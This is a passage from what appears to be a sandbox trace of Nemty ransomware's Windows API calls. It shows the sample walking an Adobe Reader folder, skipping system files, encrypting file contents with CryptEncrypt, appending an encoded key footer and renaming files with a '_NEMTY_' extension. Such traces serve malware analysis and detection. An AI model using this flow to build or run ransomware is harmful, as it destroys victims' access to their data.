hHeap=0x4f90000) returned 1 [0183.049] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0183.049] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0183.049] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0183.049] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0183.049] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8077d300, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x14d800, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="RdLang32.RUS", cAlternateFileName="")) returned 1 [0183.049] lstrcmpiW (lpString1="RdLang32.RUS", lpString2=".") returned 1 [0183.049] lstrcmpiW (lpString1="RdLang32.RUS", lpString2="..") returned 1 [0183.049] lstrcmpiW (lpString1="RdLang32.RUS", lpString2="...") returned 1 [0183.049] lstrcmpiW (lpString1="RdLang32.RUS", lpString2="windows") returned -1 [0183.049] lstrcmpiW (lpString1="RdLang32.RUS", lpString2="$RECYCLE.BIN") returned 1 [0183.049] lstrcmpiW (lpString1="RdLang32.RUS", lpString2="rsa") returned -1 [0183.049] lstrcmpiW (lpString1="RdLang32.RUS", lpString2="NTDETECT.COM") returned 1 [0183.049] lstrcmpiW (lpString1="RdLang32.RUS", lpString2="ntldr") returned 1 [0183.049] lstrcmpiW (lpString1="RdLang32.RUS", lpString2="MSDOS.SYS") returned 1 [0183.049] lstrcmpiW (lpString1="RdLang32.RUS", lpString2="IO.SYS") returned 1 [0183.049] lstrcmpiW (lpString1="RdLang32.RUS", lpString2="boot.ini") returned 1 [0183.049] lstrcmpiW (lpString1="RdLang32.RUS", lpString2="boot.ini") returned 1 [0183.049] lstrcmpiW (lpString1="RdLang32.RUS", lpString2="AUTOEXEC.BAT") returned 1 [0183.049] lstrcmpiW (lpString1="RdLang32.RUS", lpString2="ntuser.dat") returned 1 [0183.049] lstrcmpiW (lpString1="RdLang32.RUS", lpString2="desktop.ini") returned 1 [0183.049] lstrcmpiW (lpString1="RdLang32.RUS", lpString2="CONFIG.SYS") returned 1 [0183.049] lstrcmpiW (lpString1="RdLang32.RUS", lpString2="RECYCLER") returned -1 [0183.050] lstrcmpiW (lpString1="RdLang32.RUS", lpString2="BOOTSECT.BAK") returned 1 [0183.050] lstrcmpiW (lpString1="RdLang32.RUS", lpString2="bootmgr") returned 1 [0183.050] lstrcmpiW (lpString1="RdLang32.RUS", lpString2="programdata") returned 1 [0183.050] lstrcmpiW (lpString1="RdLang32.RUS", lpString2="appdata") returned 1 [0183.050] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0183.050] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="RdLang32.RUS", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0183.050] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="RdLang32.RUS", cchWideChar=12, lpMultiByteStr=0x653e890, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="RdLang32.RUS", lpUsedDefaultChar=0x0) returned 12 [0183.050] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0183.050] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="RdLang32.RUS", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0183.050] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="RdLang32.RUS", cchWideChar=12, lpMultiByteStr=0x653e890, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="RdLang32.RUS", lpUsedDefaultChar=0x0) returned 12 [0183.050] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0183.050] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0183.050] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0183.050] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="RdLang32.RUS", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0183.050] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="RdLang32.RUS", cchWideChar=12, lpMultiByteStr=0x653e8e0, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="RdLang32.RUS", lpUsedDefaultChar=0x0) returned 12 [0183.050] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0183.050] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0183.050] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="RdLang32.RUS", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0183.050] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="RdLang32.RUS", cchWideChar=12, lpMultiByteStr=0x653e918, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="RdLang32.RUS", lpUsedDefaultChar=0x0) returned 12 [0183.050] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0183.050] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0183.050] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0183.050] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94310 [0183.050] Sleep (dwMilliseconds=0x5) [0183.064] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x20c2ec50, dwHighDateTime=0x1d561e8)) [0183.064] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x20c2ec50, dwHighDateTime=0x1d561e8)) [0183.064] GetLastError () returned 0x0 [0183.064] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0183.064] GetLastError () returned 0x0 [0183.064] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0183.064] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0183.064] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0183.064] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0183.064] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0183.064] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0183.064] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63400f0 [0183.064] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x63400f0, pcchString=0x653e5dc | out: pszString="pZtiUzQrMRFsU1oHm4m/++KCVgIY1sAIAQgZNL04XAgIy3ozjPfYoTT/heOqw0MZ\r\n1DtxWMncpdrkoI13WSbyEssLzyWvER9rGni4yfU8KvAT3AyzZ1An4CWRtYMIUC5A\r\nZu/HB8YTnH6ThM+VBEEpNFoyjwTvH7Nwk29I/AV0HusEnIJmQYhVJjdbH16feAtO\r\nTo7GFQvmbCp0NpWq3NS3JjrmVdmJOU6OkP9oIPKmqNGgnByTRRIQjYVi4UOToKjd\r\naBdE6TJnlTPfjhh3QrQBh5glAbGaI/fLJMMR2XuWUFUPRZjwhjK8xxPnLYKgAA22\r\nRZzGE97/d1+lXCKgTfiNTQ==\r\n", pcchString=0x653e5dc) returned 1 [0183.064] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0183.064] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0183.064] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0183.064] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0183.064] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63400f0 [0183.065] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0183.065] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ru_RU\\RdLang32.RUS" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ru_ru\\rdlang32.rus"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0183.065] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=1366016) returned 1 [0183.065] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x19000) returned 0x6352c48 [0183.065] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0183.065] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x19000, lpOverlapped=0x0) returned 1 [0183.075] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0183.075] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x19000, lpOverlapped=0x0) returned 1 [0183.075] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0183.075] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=1366016, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x14d800 [0183.075] WriteFile (in: hFile=0x2e8, lpBuffer=0x63400f0*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x63400f0*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0183.077] CloseHandle (hObject=0x2e8) returned 1 [0183.078] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340260 [0183.078] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0183.078] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0183.078] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0183.078] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0183.078] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0183.078] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340308 [0183.078] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63403b0 [0183.078] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340308 | out: hHeap=0x4f90000) returned 1 [0183.078] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0183.078] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ru_RU\\RdLang32.RUS" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ru_ru\\rdlang32.rus"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ru_RU\\RdLang32.RUS._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ru_ru\\rdlang32.rus._nemty_kgobjgd_")) returned 1 [0183.078] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403b0 | out: hHeap=0x4f90000) returned 1 [0183.078] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0183.079] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0183.079] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0183.079] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0183.079] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0183.079] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0183.079] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0183.079] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8327c060, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2c00, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="ReadOutLoud.RUS", cAlternateFileName="READOU~1.RUS")) returned 1 [0183.079] lstrcmpiW (lpString1="ReadOutLoud.RUS", lpString2=".") returned 1 [0183.079] lstrcmpiW (lpString1="ReadOutLoud.RUS", lpString2="..") returned 1 [0183.079] lstrcmpiW (lpString1="ReadOutLoud.RUS", lpString2="...") returned 1 [0183.079] lstrcmpiW (lpString1="ReadOutLoud.RUS", lpString2="windows") returned -1 [0183.079] lstrcmpiW (lpString1="ReadOutLoud.RUS", lpString2="$RECYCLE.BIN") returned 1 [0183.079] lstrcmpiW (lpString1="ReadOutLoud.RUS", lpString2="rsa") returned -1 [0183.079] lstrcmpiW (lpString1="ReadOutLoud.RUS", lpString2="NTDETECT.COM") returned 1 [0183.079] lstrcmpiW (lpString1="ReadOutLoud.RUS", lpString2="ntldr") returned 1 [0183.079] lstrcmpiW (lpString1="ReadOutLoud.RUS", lpString2="MSDOS.SYS") returned 1 [0183.079] lstrcmpiW (lpString1="ReadOutLoud.RUS", lpString2="IO.SYS") returned 1 [0183.079] lstrcmpiW (lpString1="ReadOutLoud.RUS", lpString2="boot.ini") returned 1 [0183.079] lstrcmpiW (lpString1="ReadOutLoud.RUS", lpString2="boot.ini") returned 1 [0183.079] lstrcmpiW (lpString1="ReadOutLoud.RUS", lpString2="AUTOEXEC.BAT") returned 1 [0183.079] lstrcmpiW (lpString1="ReadOutLoud.RUS", lpString2="ntuser.dat") returned 1 [0183.079] lstrcmpiW (lpString1="ReadOutLoud.RUS", lpString2="desktop.ini") returned 1 [0183.079] lstrcmpiW (lpString1="ReadOutLoud.RUS", lpString2="CONFIG.SYS") returned 1 [0183.079] lstrcmpiW (lpString1="ReadOutLoud.RUS", lpString2="RECYCLER") returned -1 [0183.079] lstrcmpiW (lpString1="ReadOutLoud.RUS", lpString2="BOOTSECT.BAK") returned 1 [0183.079] lstrcmpiW (lpString1="ReadOutLoud.RUS", lpString2="bootmgr") returned 1 [0183.079] lstrcmpiW (lpString1="ReadOutLoud.RUS", lpString2="programdata") returned 1 [0183.079] lstrcmpiW (lpString1="ReadOutLoud.RUS", lpString2="appdata") returned 1 [0183.079] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0183.079] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ReadOutLoud.RUS", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0183.079] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ReadOutLoud.RUS", cchWideChar=15, lpMultiByteStr=0x653e890, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ReadOutLoud.RUS", lpUsedDefaultChar=0x0) returned 15 [0183.079] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0183.080] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ReadOutLoud.RUS", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0183.080] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ReadOutLoud.RUS", cchWideChar=15, lpMultiByteStr=0x653e890, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ReadOutLoud.RUS", lpUsedDefaultChar=0x0) returned 15 [0183.080] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0183.080] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0183.080] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0183.080] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ReadOutLoud.RUS", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0183.080] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ReadOutLoud.RUS", cchWideChar=15, lpMultiByteStr=0x653e8e0, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ReadOutLoud.RUS", lpUsedDefaultChar=0x0) returned 15 [0183.080] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0183.080] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0183.080] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ReadOutLoud.RUS", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0183.080] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ReadOutLoud.RUS", cchWideChar=15, lpMultiByteStr=0x653e918, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ReadOutLoud.RUS", lpUsedDefaultChar=0x0) returned 15 [0183.080] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0183.080] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94310 [0183.080] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0183.080] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0183.080] Sleep (dwMilliseconds=0x5) [0183.095] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x20c7af10, dwHighDateTime=0x1d561e8)) [0183.095] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x20c7af10, dwHighDateTime=0x1d561e8)) [0183.095] GetLastError () returned 0x0 [0183.095] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0183.095] GetLastError () returned 0x0 [0183.095] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0183.095] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0183.095] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0183.095] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0183.095] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0183.096] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0183.096] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63400f0 [0183.096] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x63400f0, pcchString=0x653e5dc | out: pszString="EMU84OseWC9EM3RTpte2KAfiTrWsmdmvffrsznOdZL/4qq1Dl4htJByL13izuKw2\r\nm7wLWhLztqMfGgC4A3UGEd2s4is7R8XDH9d9EFe7hF+piWSoBwZb5FMhcWOb2588\r\nvJT9O/23O3B2ZuNBEuR7u37IF1RGKI1WQXUYE7UAQ4/hCGESpeeGyaKjnX6Hn4eI\r\ntgMXJWlWi8KqQ2a6yv+ZSCrlhamnFKWlWLnTmXcOQhqcGnQk7e8SN2fONjg00s+g\r\nvuP1lbofTY4bjxvjmki37F/r/GAo4buC3hHVW1xSIcPfft7K3GQJEWM0p/MqvEJ4\r\nFjhe2TYtToIEiKg+CGS+IQ==\r\n", pcchString=0x653e5dc) returned 1 [0183.096] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0183.096] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0183.096] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0183.096] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0183.096] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63400f0 [0183.096] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0183.096] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ru_RU\\ReadOutLoud.RUS" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ru_ru\\readoutloud.rus"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0183.097] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=11264) returned 1 [0183.097] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x2c00) returned 0x6352c48 [0183.097] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0183.097] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x2c00, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x2c00, lpOverlapped=0x0) returned 1 [0183.099] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0183.099] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x2c00, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x2c00, lpOverlapped=0x0) returned 1 [0183.100] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0183.100] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=11264, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x2c00 [0183.100] WriteFile (in: hFile=0x2e8, lpBuffer=0x63400f0*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x63400f0*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0183.100] CloseHandle (hObject=0x2e8) returned 1 [0183.100] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340260 [0183.100] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0183.100] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0183.100] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0183.100] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0183.100] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0183.100] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 